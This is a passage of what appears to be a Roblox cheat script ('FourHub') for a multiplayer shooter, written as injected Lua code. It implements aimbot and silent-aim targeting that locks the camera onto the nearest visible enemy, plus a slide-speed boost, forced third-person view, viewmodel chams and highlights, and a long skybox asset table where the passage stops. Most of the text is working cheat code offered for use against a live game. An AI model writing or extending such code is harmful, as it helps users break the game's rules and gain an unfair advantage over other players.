afov_current_radius, 0, afov_current_pos.Y - afov_current_radius); afov.Rotation = fov_rotation; afov_stroke.Color = ELI.aimbot.fov_color; afov_stroke.Transparency = ELI.aimbot.fov_outline_transparency; afov_stroke.Thickness = ELI.aimbot.fov_thickness; afov_fill_gradient.Enabled = ELI.aimbot.show_fill; afov_fill_gradient.Color = a_fill_gradient; afov_fill_gradient.Rotation = fov_rotation; afov_stroke_gradient.Color = a_stroke_gradient; afov_stroke_gradient.Rotation = fov_rotation; end))); trove:Add(function() sfov_gui:Destroy(); end); trove:Add(function() afov_gui:Destroy(); end); local deflecting = {}; is_deflecting = LPH_NO_VIRTUALIZE(function(plr) return deflecting[plr]; end); has_riot = LPH_NO_VIRTUALIZE(function(plr) return workspace.ViewModels:FindFirstChild(plr.Name .. " - Riot Shield - Riot Shield") ~= nil; end); check_wall = LPH_NO_VIRTUALIZE(function(part) local ray = Ray.new(camera.CFrame.Position, part.Position - camera.CFrame.Position); local hit_part = workspace:FindPartOnRayWithIgnoreList(ray, {local_player.Character, part.Parent}); return not hit_part; end); closest_part = LPH_NO_VIRTUALIZE(function(plr) local mouse_pos = Vector2.new(mouse.X,mouse.Y); local closest = math.huge; local closestp; for i,v in next, plr.Character:GetChildren() do if v:IsA("BasePart") then local pos,on_screen = camera:WorldToViewportPoint(v.Position); if on_screen then local dist = (mouse_pos - Vector2.new(pos.X,pos.Y)).Magnitude; if dist <= closest then closest = dist; closestp = v; end; end; end; end; return closestp; end); getclosest = LPH_NO_VIRTUALIZE(function() local closest = ELI.targeting.max_distance; local player; local center = Vector2.new(camera.ViewportSize.X / 2, camera.ViewportSize.Y / 2); for i,v in players:GetPlayers() do if v ~= local_player and v.Character and v.Character:FindFirstChild(ELI.targeting.part) and v.Character.Humanoid.Health > 0 then if is_deflecting(v) then continue; end; if v:GetAttribute('TeamID') == local_player:GetAttribute('TeamID') then continue; end; if ELI.targeting.visible_only and not check_wall(v.Character[ELI.targeting.part]) then continue; end; if ELI.targeting.riot_shield and has_riot(v) then continue; end; local pos, on_screen = camera:WorldToViewportPoint(v.Character[ELI.targeting.part].Position); if on_screen then local dist = (center - Vector2.new(pos.X, pos.Y)).Magnitude; if dist < closest and dist <= ELI.silent_aim.fov_radius then player = v; closest = dist; end; end; end; end; return player; end); getclosest2 = LPH_NO_VIRTUALIZE(function() local closest = ELI.targeting.max_distance; local player; local center = Vector2.new(camera.ViewportSize.X / 2, camera.ViewportSize.Y / 2); for i,v in players:GetPlayers() do if v ~= local_player and v.Character and v.Character:FindFirstChild(ELI.targeting.part) and v.Character.Humanoid.Health > 0 then if v:GetAttribute('TeamID') == local_player:GetAttribute('TeamID') then continue; end; if is_deflecting(v) then continue; end; if ELI.targeting.visible_only and not check_wall(v.Character[ELI.targeting.part]) then continue; end; if ELI.targeting.riot_shield and has_riot(v) then continue; end; local pos, on_screen = camera:WorldToViewportPoint(v.Character[ELI.targeting.part].Position); if on_screen then local dist = (center - Vector2.new(pos.X,pos.Y)).Magnitude; if dist < closest and dist < ELI.aimbot.fov_radius then player = v; closest = dist; end; end; end; end; return player; end); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.aimbot.enable then local closest = getclosest2(); if (closest and closest.Character) then local target_pos; if ELI.aimbot.closest_part then local part = closest_part(closest); target_pos = part and part.Position or closest.Character[ELI.targeting.part].Position; else target_pos = closest.Character[ELI.targeting.part].Position; end; camera_controller:MimicRotation(camera.CFrame:Lerp(CFrame.new(camera.CFrame.Position, target_pos), ELI.aimbot.smoothing)); end; end; end))); trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() if ELI.slide_boost.enable then if mechanics_controller.IsSliding then mechanics_controller._sliding_velocity.Velocity = mechanics_controller._sliding_velocity.Velocity.Unit * ELI.slide_boost.speed; end; end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.third_person.enable then if camera_controller.CameraState:GetPublicState() ~= camera_controller.CameraState.States.ThirdPerson then camera_controller.CameraState:TogglePOV(); end; end; end))) do local vm_material_presets = getgenv().FourHub_materials.presets; local vm_arm_keywords = { "arm", "hand", "sleeve", "elbow", "wrist", "shoulder", "finger", "thumb", "glove" }; local vm_tracked = {}; local vm_arm_cache = setmetatable({}, { __mode = "k" }); local function vm_is_arm(part) local cached = vm_arm_cache[part]; if cached ~= nil then return cached; end; local result = false; local name = string.lower(part.Name); for i = 1, #vm_arm_keywords do if string.find(name, vm_arm_keywords[i], 1, true) then result = true; break; end; end; if not result then local ancestor = part.Parent; while ancestor and ancestor ~= first_person do local aname = string.lower(ancestor.Name); if string.find(aname, "arm", 1, true) or string.find(aname, "rig", 1, true) then result = true; break; end; ancestor = ancestor.Parent; end; end; vm_arm_cache[part] = result; return result; end; local vm_visible_cache = setmetatable({}, { __mode = "k" }); local function vm_visible(part) if vm_visible_cache[part] == nil then vm_visible_cache[part] = part.Transparency < 1 and part.Size.Magnitude < 40; end; return vm_visible_cache[part]; end; local function vm_store(part) if not vm_tracked[part] then vm_tracked[part] = { Material = part.Material, Color = part.Color, Reflectance = part.Reflectance, Transparency = part.Transparency, LocalTransparencyModifier = part.LocalTransparencyModifier, }; end; end; local function vm_restore(part) local saved = vm_tracked[part]; if saved then if part.Parent then part.Material = saved.Material; part.Color = saved.Color; part.Reflectance = saved.Reflectance; part.Transparency = saved.Transparency; part.LocalTransparencyModifier = saved.LocalTransparencyModifier; end; vm_tracked[part] = nil; end; end; local function vm_clear() for part in next, vm_tracked do vm_restore(part); end; table.clear(vm_tracked); end; local function vm_paint(part, preset_name, color, transparency) local preset = vm_material_presets[preset_name] or vm_material_presets["Neon"]; part.Material = preset.material; part.Reflectance = preset.reflectance or 0; part.Transparency = math.clamp((preset.transparency or 0) + (transparency or 0), 0, 1); part.LocalTransparencyModifier = 0; part.Color = color; end; local function vm_owned() local character = local_player.Character; if not character or character.Parent ~= workspace then return false; end; if not first_person:IsDescendantOf(workspace) then return false; end; local humanoid = character:FindFirstChildOfClass("Humanoid"); return humanoid ~= nil and humanoid.Health > 0; end; local vm_highlights = {}; local function vm_drop_highlight(part) if vm_highlights[part] then vm_highlights[part]:Destroy(); vm_highlights[part] = nil; end; end; local function vm_set_highlight(part, hl_cfg) local hl = vm_highlights[part]; if not hl or not hl.Parent then hl = Instance.new("Highlight"); hl.Name = "FourHub_vm_highlight"; hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop; hl.Adornee = part; hl.Parent = part; vm_highlights[part] = hl; end; hl.FillColor = hl_cfg.color; hl.FillTransparency = hl_cfg.transparency; hl.OutlineColor = hl_cfg.outline_color; hl.OutlineTransparency = hl_cfg.outline_transparency; end; local function vm_clear_highlights() for part in eli_pairs(vm_highlights) do vm_drop_highlight(part) end; end; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() local cfg = ELI.viewmodel_chams; local wc, ac = cfg.weapon_chams, cfg.arm_chams; local wh, ah = cfg.weapon_highlight, cfg.arm_highlight; if not (wc.enable or ac.enable or wh.enable or ah.enable) or not vm_owned() then if next(vm_tracked) then vm_clear() end; if next(vm_highlights) then vm_clear_highlights() end; return end; local now = tick(); if now - FourHub_state.vm_chams_last < 0.1 then return end; FourHub_state.vm_chams_last = now; for _, part in next, first_person:GetDescendants() do if part:IsA("BasePart") and vm_visible(part) then local is_arm = vm_is_arm(part); if is_arm and ac.enable then vm_store(part); if ac.invisible then part.LocalTransparencyModifier = 1; part.Transparency = 1; else vm_paint(part, ac.material, ac.color, ac.transparency); end; elseif not is_arm and wc.enable then vm_store(part); vm_paint(part, wc.material, wc.color, wc.transparency); else vm_restore(part); end; if is_arm and ah.enable then vm_set_highlight(part, ah); elseif not is_arm and wh.enable then vm_set_highlight(part, wh); else vm_drop_highlight(part); end; end; end; for part in eli_pairs(vm_highlights) do if not part.Parent then vm_drop_highlight(part) end; end; end))); trove:Add(vm_clear_highlights); end do local base_materials = { ForceField = Enum.Material.ForceField, Neon = Enum.Material.Neon, Plastic = Enum.Material.Plastic, SmoothPlastic = Enum.Material.SmoothPlastic, Wood = Enum.Material.Wood, WoodPlanks = Enum.Material.WoodPlanks, Marble = Enum.Material.Marble, Slate = Enum.Material.Slate, }; local body_tracked = {}; local item_tracked = {}; local clothes_tracked = {}; local function vmc_store(tracked, part) if not tracked[part] then tracked[part] = { material = part.Material, color = part.Color, transparency = part.Transparency }; end; end; local function vmc_restore(tracked) for part, saved in eli_pairs(tracked) do if part.Parent then part.Material = saved.material; part.Color = saved.color; part.Transparency = saved.transparency; end; tracked[part] = nil; end; end; local function vmc_apply(tracked, part, cfg) vmc_store(tracked, part); if cfg.material_enable then part.Material = base_materials[cfg.material] or Enum.Material.Plastic; else part.Material = tracked[part].material; end; if cfg.color_enable then part.Color = cfg.color; else part.Color = tracked[part].color; end; part.Transparency = math.clamp((cfg.transparency or 0) / 100, 0, 1); end; local function vmc_restore_clothes() for inst, template in eli_pairs(clothes_tracked) do if inst.Parent then if inst:IsA("Shirt") then inst.ShirtTemplate = template; elseif inst:IsA("Pants") then inst.PantsTemplate = template; elseif inst:IsA("ShirtGraphic") then inst.Graphic = template; end; end; clothes_tracked[inst] = nil; end; end; local function vmc_disable_clothes(character) for _, inst in eli_ipairs(character:GetDescendants()) do if inst:IsA("Shirt") then if clothes_tracked[inst] == nil then clothes_tracked[inst] = inst.ShirtTemplate end; inst.ShirtTemplate = ""; elseif inst:IsA("Pants") then if clothes_tracked[inst] == nil then clothes_tracked[inst] = inst.PantsTemplate end; inst.PantsTemplate = ""; elseif inst:IsA("ShirtGraphic") then if clothes_tracked[inst] == nil then clothes_tracked[inst] = inst.Graphic end; inst.Graphic = ""; end; end; end; local function vmc_is_arm(part) local name = string.lower(part.Name); return string.find(name, "arm", 1, true) ~= nil or string.find(name, "hand", 1, true) ~= nil; end; local vmc_visible_cache = setmetatable({}, { __mode = "k" }); local function vmc_visible(part) if vmc_visible_cache[part] == nil then vmc_visible_cache[part] = part.Transparency < 1 and part.Size.Magnitude < 40; end; return vmc_visible_cache[part]; end; local vmc_last = 0; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() local vc = ELI.viewmodel_custom; local character = local_player.Character; if not vc.enable then if next(body_tracked) then vmc_restore(body_tracked) end; if next(item_tracked) then vmc_restore(item_tracked) end; if next(clothes_tracked) then vmc_restore_clothes() end; return end; local now = tick(); if now - vmc_last < 0.1 then return end; vmc_last = now; if vc.appearance and character then for _, part in eli_ipairs(character:GetDescendants()) do if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" and vmc_visible(part) then vmc_apply(body_tracked, part, vc.body); end; end; if vc.body.disable_clothes then vmc_disable_clothes(character); elseif next(clothes_tracked) then vmc_restore_clothes(); end; else if next(body_tracked) then vmc_restore(body_tracked) end; if next(clothes_tracked) then vmc_restore_clothes() end; end; if first_person and first_person:IsDescendantOf(workspace) then for _, part in eli_ipairs(first_person:GetDescendants()) do if part:IsA("BasePart") and not vmc_is_arm(part) and vmc_visible(part) then vmc_apply(item_tracked, part, vc.item); end; end; elseif next(item_tracked) then vmc_restore(item_tracked); end; for part in eli_pairs(body_tracked) do if not part.Parent then body_tracked[part] = nil end; end; for part in eli_pairs(item_tracked) do if not part.Parent then item_tracked[part] = nil end; end; end))); trove:Add(function() vmc_restore(body_tracked); vmc_restore(item_tracked); vmc_restore_clothes(); end); end; local skybox_changer = {}; do function skybox_changer:init() self.sky_object = lighting:FindFirstChildOfClass("Sky"); if not self.sky_object then self.sky_object = Instance.new("Sky"); self.sky_object.Parent = lighting; end; self.default_skybox = lighting:FindFirstChildOfClass("Sky") and lighting:FindFirstChildOfClass("Sky"):Clone() or nil; self.list = { ["SpongeBob"] = { SkyboxBk = "http://www.roblox.com/asset/?id=15962101128", SkyboxDn = "http://www.roblox.com/asset/?id=15970246218", SkyboxFt = "http://www.roblox.com/asset/?id=15962101128", SkyboxLf = "http://www.roblox.com/asset/?id=15962101128", SkyboxRt = "http://www.roblox.com/asset/?id=15962101128", SkyboxUp = "http://www.roblox.com/asset/?id=15962901054" }, ["Deep Space"] = { SkyboxBk = "http://www.roblox.com/asset/?id=159248188", SkyboxDn = "http://www.roblox.com/asset/?id=159248183", SkyboxFt = "http://www.roblox.com/asset/?id=159248187", SkyboxLf = "http://www.roblox.com/asset/?id=159248173", SkyboxRt = "http://www.roblox.com/asset/?id=159248192", SkyboxUp = "http://www.roblox.com/asset/?id=159248176" }, ["Crazy Hello City"] = { SkyboxBk = "http://www.roblox.com/asset/?id=5487778646", SkyboxDn = "http://www.roblox.com/asset/?id=5487764867", SkyboxFt = "http://www.roblox.com/asset/?id=5487778646", SkyboxLf = "http://www.roblox.com/asset/?id=5487778646", SkyboxRt = "http://www.roblox.com/asset/?id=5487778646", SkyboxUp = "http://www.roblox.com/asset/?id=5487762943" }, ["One Piece"] = { SkyboxBk = "http://www.roblox.com/asset/?id=158516797", SkyboxDn = "http://www.roblox.com/asset/?id=158516788", SkyboxFt = "http://www.roblox.com/asset/?id=158516797", SkyboxLf = "http://www.roblox.com/asset/?id=158516797", SkyboxRt = "http://www.roblox.com/asset/?id=158516797", SkyboxUp = "http://www.roblox.com/asset/?id=158516792" }, ["Matcha"] = { SkyboxBk = "http://www.roblox.com/asset/?id=151165214", SkyboxDn = "http://www.roblox.com/asset/?id=151165197", SkyboxFt = "http://www.roblox.com/asset/?id=151165224", SkyboxLf = "http://www.roblox.com/asset/?id=151165191", SkyboxRt = "http://www.roblox.com/asset/?id=151165206", SkyboxUp = "http://www.roblox.com/asset/?id=151165227" }, ["Abyssal Blues"] = { SkyboxBk = "http://www.roblox.com/asset/?id=16269815885", SkyboxDn = "http://www.roblox.com/asset/?id=16269839652", SkyboxFt = "http://www.roblox.com/asset/?id=16269798011", SkyboxLf = "http://www.roblox.com/asset/?id=16269813852", SkyboxRt = "http://www.roblox.com/asset/?id=16269814948", SkyboxUp = "http://www.roblox.com/asset/?id=16269829700" }, ["Pink Sky"] = { SkyboxBk = "http://www.roblox.com/asset/?id=271042516", SkyboxDn = "http://www.roblox.com/asset/?id=271077243", SkyboxFt = "http://www.roblox.com/asset/?id=271042556", SkyboxLf = "http://www.roblox.com/asset/?id=271042310", SkyboxRt = "http://www.roblox.com/asset/?id=271042467", SkyboxUp = "http://www.roblox.com/asset/?id=271077958" }, ["Green Sky"] = { SkyboxBk = "rbxassetid://921882045", SkyboxDn = "rbxassetid://921881907", SkyboxFt = "rbxassetid://921882121", SkyboxLf = "rbxassetid://921881811", SkyboxRt = "rbxassetid://921881989", SkyboxUp = "rbxassetid://921882259" }, ["Purple Nebula"] = { SkyboxBk = "http://www.roblox.com/asset/?id=159454299", SkyboxDn = "http://www.roblox.com/asset/?id=159454296", SkyboxFt = "http://www.roblox.com/asset/?id=159454299", SkyboxLf = "http://www.roblox.com/asset/?id=159454299", SkyboxRt = "http://www.roblox.com/asset/?id=159454299", SkyboxUp = "http://www.roblox.com/asset/?id=159454288" }, ["Vaporwave"] = { SkyboxBk = "http://www.roblox.com/asset/?id=1417494030", SkyboxDn = "http://www.roblox.com/asset/?id=1417494146", SkyboxFt = "http://www.roblox.com/asset/?id=1417494030", SkyboxLf = "http://www.roblox.com/asset/?id=1417494030", SkyboxRt = "http://www.roblox.com/asset/?id=1417494030", SkyboxUp = "http://www.roblox.com/asset/?id=1417494643" }, ["Redshift"] = { SkyboxBk = "http://www.roblox.com/asset/?id=2670643365", SkyboxDn = "http://www.roblox.com/asset/?id=2670643365", SkyboxFt = "http://www.roblox.com/asset/?id=2670643365", SkyboxLf = "http://www.roblox.com/asset/?id=2670643365", SkyboxRt = "http://www.roblox.com/asset/?id=2670643365", SkyboxUp = "http://www.roblox.com/asset/?id=2670643365" }, ["Minecraft"] = { SkyboxBk = "rbxassetid://1876545003", SkyboxDn = "rbxassetid://1876544331", SkyboxFt = "rbxassetid://1876542941", SkyboxLf = "rbxassetid://1876543392", SkyboxRt = "rbxassetid://1876543764", SkyboxUp = "rbxassetid://1876544642" }, ["PurpleDay"] = { SkyboxBk = "rbxassetid://296908715", SkyboxDn = "rbxassetid://296908724", SkyboxFt = "rbxassetid://296908740", SkyboxLf = "rbxassetid://296908755", SkyboxRt = "rbxassetid://296908764", SkyboxUp = "rbxassetid://296908769" }, ["RedNight"] = { SkyboxBk = "rbxassetid://401664839", SkyboxDn = "rbxassetid://401664862", SkyboxFt = "rbxassetid://401664960", SkyboxLf = "rbxassetid://401664881", SkyboxRt = "rbxassetid://401664901", SkyboxUp = "rbxassetid://401664936" }, ["Trollge"] = { SkyboxBk = "rbxassetid://6155393905", SkyboxDn = "rbxassetid://6155393905", SkyboxFt = "rbxassetid://6155393905", SkyboxLf = "rbxassetid://6155393905", SkyboxRt = "rbxassetid://6155393905", SkyboxUp = "rbxassetid://6155393905" }, ["Night"] = { SkyboxBk = "rbxassetid://48020371", SkyboxDn = "rbxassetid://48020144", SkyboxFt = "rbxassetid://48020234", SkyboxLf = "rbxassetid://48020211", SkyboxRt = "rbxassetid://48020254", SkyboxUp = "rbxassetid://48020383" }, ["Space"] = { SkyboxBk = "rbxassetid://149397692", SkyboxDn = "rbxassetid://149397686", SkyboxFt = "rbxassetid://149397697", SkyboxLf = "rbxassetid://149397684", SkyboxRt = "rbxassetid://149397688", SkyboxUp = "rbxassetid://149397702" }, ["Default"] = { SkyboxBk = "rbxassetid://6444884337", SkyboxDn = "rbxassetid://6444884785", SkyboxFt = "rbxassetid://6444884337", SkyboxLf = "rbxassetid://6444884337", SkyboxRt = "rbxassetid://6444884337", SkyboxUp = "rbxassetid://6412503613" }, ["VibeMorning"] = { SkyboxBk = "rbxassetid://1417494030", SkyboxDn = "rbxassetid://1417494146", SkyboxFt = "rbxassetid://1417494253", SkyboxLf = "rbxassetid://1417494402", SkyboxRt = "rbxassetid://1417494499", SkyboxUp = "rbxassetid://1417494643" }, ["VibeNight"] = { SkyboxBk = "rbxassetid://5084575798", SkyboxDn = "rbxassetid://5084575916", SkyboxFt = "rbxassetid://5103949679", SkyboxLf = "rbxassetid://5103948542", SkyboxRt = "rbxassetid://5103948784", SkyboxUp = "rbxassetid://5084576400" }, ["PurpleSplash"] = { SkyboxBk = "rbxassetid://8539982183", SkyboxDn = "rbxassetid://8539981943", SkyboxFt = "rbxassetid://8539981721", SkyboxLf = "rbxassetid://8539981424", SkyboxRt = "rbxassetid://8539980766", SkyboxUp = "rbxassetid://8539981085" }, ["GreenSpace"] = { SkyboxBk = "rbxassetid://159248188", SkyboxDn = "rbxassetid://159248183", SkyboxFt = "rbxassetid://159248187", SkyboxLf = "rbxassetid://159248173", SkyboxRt = "rbxassetid://159248192", SkyboxUp = "rbxassetid://159248176" }, ["Snowy"] = { SkyboxBk = "rbxassetid://155657655", SkyboxDn = "rbxassetid://155674246", SkyboxFt = "rbxassetid://155657609", SkyboxLf = "rbxassetid://155657671", SkyboxRt = "rbxassetid://155657619", SkyboxUp = "rbxassetid://155674931" }, ["Spongebob"] = { SkyboxBk = "rbxassetid://10287764626", SkyboxDn = "rbxassetid://10287766382", SkyboxFt = "rbxassetid://10287764626", SkyboxLf = "rbxassetid://10287763421", SkyboxRt = "rbxassetid://10287764626", SkyboxUp = "rbxassetid://10287767597" }, ["PinkDay"] = { SkyboxBk = "rbxassetid://271042516", SkyboxDn = "rbxassetid://271077243", SkyboxFt = "rbxassetid://271042556", SkyboxLf = "rbxassetid://271042310", SkyboxRt = "rbxassetid://271042467", SkyboxUp = "rbxassetid://271077958" }, ["AlienRed"] = { SkyboxBk = "rbxassetid://1012890", SkyboxDn = "rbxassetid://1012891", SkyboxFt = "rbxassetid://1012887", SkyboxLf = "rbxassetid://1012889", SkyboxRt = "rbxassetid://1012888", SkyboxUp = "rbxassetid://1014449" }, ["WallsOfAutumn"] = { SkyboxBk = "rbxassetid://7123244709", SkyboxDn = "rbxassetid://7123246497", SkyboxFt = "rbxassetid://7123255895", SkyboxLf = "rbxassetid://7123257992", SkyboxRt = "rbxassetid://7123279103", SkyboxUp = "rbxassetid://7123281828" }, ["ColdWinterness"] = { SkyboxBk = "rbxassetid://7123754562", SkyboxDn = "rbxassetid://7123756028", SkyboxFt = "rbxassetid://7123757422", SkyboxLf = "rbxassetid://7123758897", SkyboxRt = "rbxassetid://7123760563", SkyboxUp = "rbxassetid://7123762364" }, ["Oblivion"] = { SkyboxBk = "rbxassetid://7123654189", SkyboxDn = "rbxassetid://7123657455", SkyboxFt = "rbxassetid://7123662047", SkyboxLf = "rbxassetid://7123664533", SkyboxRt = "rbxassetid://7123666598", SkyboxUp = "rbxassetid://7123668994" }, ["ClassicSky"] = { SkyboxBk = "rbxassetid://672345740", SkyboxDn = "rbxassetid://672345828", SkyboxFt = "rbxassetid://672345879", SkyboxLf = "rbxassetid://672345927", SkyboxRt = "rbxassetid://672346006", SkyboxUp = "rbxassetid://672346072" }, ["PurpleNight"] = { SkyboxBk = "rbxassetid://5084575798", SkyboxDn = "rbxassetid://5084575916", SkyboxFt = "rbxassetid://5103949679", SkyboxLf = "rbxassetid://5103948542", SkyboxRt = "rbxassetid://5103948784", SkyboxUp = "rbxassetid://5084576400" }, ["PurpleDayClear"] = { SkyboxBk = "rbxassetid://6847607535", SkyboxDn = "rbxassetid://6847607977", SkyboxFt = "rbxassetid://6847608302", SkyboxLf = "rbxassetid://6847608608", SkyboxRt = "rbxassetid://6847608986", SkyboxUp = "rbxassetid://6847609323" }, ["YellowDay"] = { SkyboxBk = "rbxassetid://2651432901", SkyboxDn = "rbxassetid://2651434974", SkyboxFt = "rbxassetid://2651435990", SkyboxLf = "rbxassetid://2651436494", SkyboxRt = "rbxassetid://2651436979", SkyboxUp = "rbxassetid://2651437350" }, ["MinecraftSky"] = { SkyboxBk = "rbxassetid://8735166756", SkyboxDn = "rbxassetid://8735166707", SkyboxFt = "rbxassetid://8735231668", SkyboxLf = "rbxassetid://8735166755", SkyboxRt = "rbxassetid://8735166751", SkyboxUp = "rbxassetid://8735166729" }, ["Sunset"] = { SkyboxBk = "rbxassetid://150939022", SkyboxDn = "rbxassetid://150939038", SkyboxFt = "rbxassetid://150939047", SkyboxLf = "rbxassetid://150939056", SkyboxRt = "rbxassetid://150939063", SkyboxUp = "rbxassetid://150939082" }, ["CartoonSky"] = { SkyboxBk = "rbxassetid://6778646360", SkyboxDn = "rbxassetid://6778658683", SkyboxFt = "rbxassetid://6778648039", SkyboxLf = "rbxassetid://6778649136", SkyboxRt = "rbxassetid://6778650519", SkyboxUp = "rbxassetid://6778658364" }, ["Anime"] = { SkyboxBk = "rbxassetid://7643700666", SkyboxDn = "rbxassetid://7643743687", SkyboxFt = "rbxassetid://7644304186", SkyboxLf = "rbxassetid://7644288724", SkyboxRt = "rbxassetid://7643700819", SkyboxUp = "rbxassetid://7643757404" }, ["HellSky"] = { SkyboxBk = "rbxassetid://437430787", SkyboxDn = "rbxassetid://437430804", SkyboxFt = "rbxassetid://437430543", SkyboxLf = "rbxassetid://437430732", SkyboxRt = "rbxassetid://437430747", SkyboxUp = "rbxassetid://437430771" }, ["StarryNight"] = { SkyboxBk = "rbxassetid://8291078911", SkyboxDn = "rbxassetid://8291077403", SkyboxFt = "rbxassetid://8291081613", SkyboxLf = "rbxassetid://8291074004", SkyboxRt = "rbxassetid://8291080353", SkyboxUp = "rbxassetid://8291075054" }, ["Omori"] = { SkyboxBk = "rbxassetid://8767416629", SkyboxDn = "rbxassetid://8767416629", SkyboxFt = "rbxassetid://8767416629", SkyboxLf = "rbxassetid://8767416629", SkyboxRt = "rbxassetid://8767416629", SkyboxUp = "rbxassetid://8767416629" }, ["c00lkidd"] = { SkyboxBk = "rbxassetid://433381097", SkyboxDn = "rbxassetid://433381097", SkyboxFt = "rbxassetid://433381097", SkyboxLf = "rbxassetid://433381097", SkyboxRt = "rbxassetid://433381097", SkyboxUp = "rbxassetid://433381097" }, ["ClearDay"] = { SkyboxBk = "rbxassetid://591058823", SkyboxDn = "rbxassetid://591059876", SkyboxFt = "rbxassetid://591058104", SkyboxLf = "rbxassetid://591057861", SkyboxRt = "rbxassetid://591057625", SkyboxUp = "rbxassetid://591059642" }, ["Mountains"] = { SkyboxBk = "http://www.roblox.com/asset/?id=324014980", SkyboxDn = "http://www.roblox.com/asset/?id=324015477", SkyboxFt = "http://www.roblox.com/asset/?id=324014995", SkyboxLf = "http://www.roblox.com/asset/?id=324014679", SkyboxRt = "http://www.roblox.com/asset/?id=324015013", SkyboxUp = "http://www.roblox.com/asset/?id=324015409" }, ["Forest"] = { SkyboxBk = "http://www.roblox.com/asset/?id=70945545", SkyboxDn = "http://www.roblox.com/asset/?id=70945449", SkyboxFt = "http://www.roblox.com/asset/?id=70945487", SkyboxLf = "http://www.roblox.com/asset/?id=70945523", SkyboxRt = "http://www.roblox.com/asset/?id=70945508", SkyboxUp = "http://www.roblox.com/asset/?id=70945531" }, ["LargeForest"] = { SkyboxBk = "rbxassetid://17428978603", SkyboxDn = "rbxassetid://17428977445", SkyboxFt = "rbxassetid://17428977114", SkyboxLf = "rbxassetid://17428978399", SkyboxRt = "rbxassetid://17428976828", SkyboxUp = "rbxassetid://17428976669" }, ["Crimson"] = { SkyboxBk = "rbxassetid://15832429892", SkyboxDn = "rbxassetid://15832430998", SkyboxFt = "rbxassetid://15832430210", SkyboxLf = "rbxassetid://15832430671", SkyboxRt = "rbxassetid://15832431198", SkyboxUp = "rbxassetid://15832429401" }, ["PumpkinHill"] = { SkyboxBk = "rbxassetid://11202510597", SkyboxDn = "rbxassetid://11202510255", SkyboxFt = "rbxassetid://11202509993", SkyboxLf = "rbxassetid://11202510806", SkyboxRt = "rbxassetid://11202511066", SkyboxUp = "rbxassetid://11202509704" }, ["AnimeIsland"] = { SkyboxBk = "http://www.roblox.com/asset/?id=14753804949", SkyboxDn = "http://www.roblox.com/asset/?id=14753795573", SkyboxFt = "http://www.roblox.com/asset/?id=14753807625", SkyboxLf = "http://www.roblox.com/asset/?id=14753797417", SkyboxRt = "http://www.roblox.com/asset/?id=14753799966", SkyboxUp = "http://www.roblox.com/asset/?id=14753810287" }, ["SnowyMountains"] = { SkyboxBk = "http://www.roblox.com/asset/?id=368385273", SkyboxDn = "http://www.roblox.com/asset/?id=48015300", SkyboxFt = "http://www.roblox.com/asset/?id=368388290", SkyboxLf = "http://www.roblox.com/asset/?id=368390615", SkyboxRt = "http://www.roblox.com/asset/?id=368385190", SkyboxUp = "http://www.roblox.com/asset/?id=48015387" }, ["Desert"] = { SkyboxBk = "rbxassetid://161319957", SkyboxDn = "rbxassetid://161319965", SkyboxFt = "rbxassetid://161319970", SkyboxLf = "rbxassetid://161319983", SkyboxRt = "rbxassetid://161319989", SkyboxUp = "rbxassetid://161319996" }, ["Cloudy"] = { SkyboxBk = "http://www.roblox.com/asset/?id=225469345", SkyboxDn = "http://www.roblox.com/asset/?id=225469349", SkyboxFt = "http://www.roblox.com/asset/?id=225469359", SkyboxLf = "http://www.roblox.com/asset/?id=225469364", SkyboxRt = "http://www.roblox.com/asset/?id=225469372", SkyboxUp = "http://www.roblox.com/asset/?id=225469380" }, ["Island"] = { SkyboxBk = "http://www.roblox.com/asset/?id=319343577", SkyboxDn = "http://www.roblox.com/asset/?id=319343653", SkyboxFt = "http://www.roblox.com/asset/?id=319343666", SkyboxLf = "http://www.roblox.com/asset/?id=319343686", SkyboxRt = "http://www.roblox.com/asset/?id=319343631", SkyboxUp = "http://www.roblox.com/asset/?id=319343614" }, ["OrangeFog"] = { SkyboxBk = "http://www.roblox.com/asset/?id=458016711", SkyboxDn = "http://www.roblox.com/asset/?id=458016826", SkyboxFt = "http://www.roblox.com/asset/?id=458016532", SkyboxLf = "http://www.roblox.com/asset/?id=458016655", SkyboxRt = "http://www.roblox.com/asset/?id=458016782", SkyboxUp = "http://www.roblox.com/asset/?id=458016792" }, ["FadeNight"] = { SkyboxBk = "http://www.roblox.com/asset/?id=16888843486", SkyboxDn = "http://www.roblox.com/asset/?id=16888845693", SkyboxFt = "http://www.roblox.com/asset/?id=16888848245", SkyboxLf = "http://www.roblox.com/asset/?id=16888850949", SkyboxRt = "http://www.roblox.com/asset/?id=16888854243", SkyboxUp = "http://www.roblox.com/asset/?id=16888857144" }, ["Office"] = { SkyboxBk = "rbxassetid://658623433", SkyboxDn = "rbxassetid://316342560", SkyboxFt = "rbxassetid://658625205", SkyboxLf = "rbxassetid://658627155", SkyboxRt = "rbxassetid://658628504", SkyboxUp = "rbxassetid://658632701" }, ["Spongebob2"] = { SkyboxBk = "rbxassetid://12049872454", SkyboxDn = "rbxassetid://12049872284", SkyboxFt = "rbxassetid://12049872181", SkyboxLf = "rbxassetid://12049872074", SkyboxRt = "rbxassetid://12049871884", SkyboxUp = "rbxassetid://12049871774" }, ["PurpleFog"] = { SkyboxBk = "http://www.roblox.com/asset/?id=17279854976", SkyboxDn = "http://www.roblox.com/asset/?id=17279856318", SkyboxFt = "http://www.roblox.com/asset/?id=17279858447", SkyboxLf = "http://www.roblox.com/asset/?id=17279860360", SkyboxRt = "http://www.roblox.com/asset/?id=17279862234", SkyboxUp = "http://www.roblox.com/asset/?id=17279864507" }, ["EarthSpace"] = { SkyboxBk = "rbxassetid://15753305495", SkyboxDn = "rbxassetid://15753362674", SkyboxFt = "rbxassetid://15753305823", SkyboxLf = "rbxassetid://15753310707", SkyboxRt = "rbxassetid://15753304774", SkyboxUp = "rbxassetid://15753304473" }, ["GreenCloudy"] = { SkyboxBk = "rbxassetid://921882045", SkyboxDn = "rbxassetid://921881907", SkyboxFt = "rbxassetid://921882121", SkyboxLf = "rbxassetid://921881811", SkyboxRt = "rbxassetid://921881989", SkyboxUp = "rbxassetid://921882259" }, 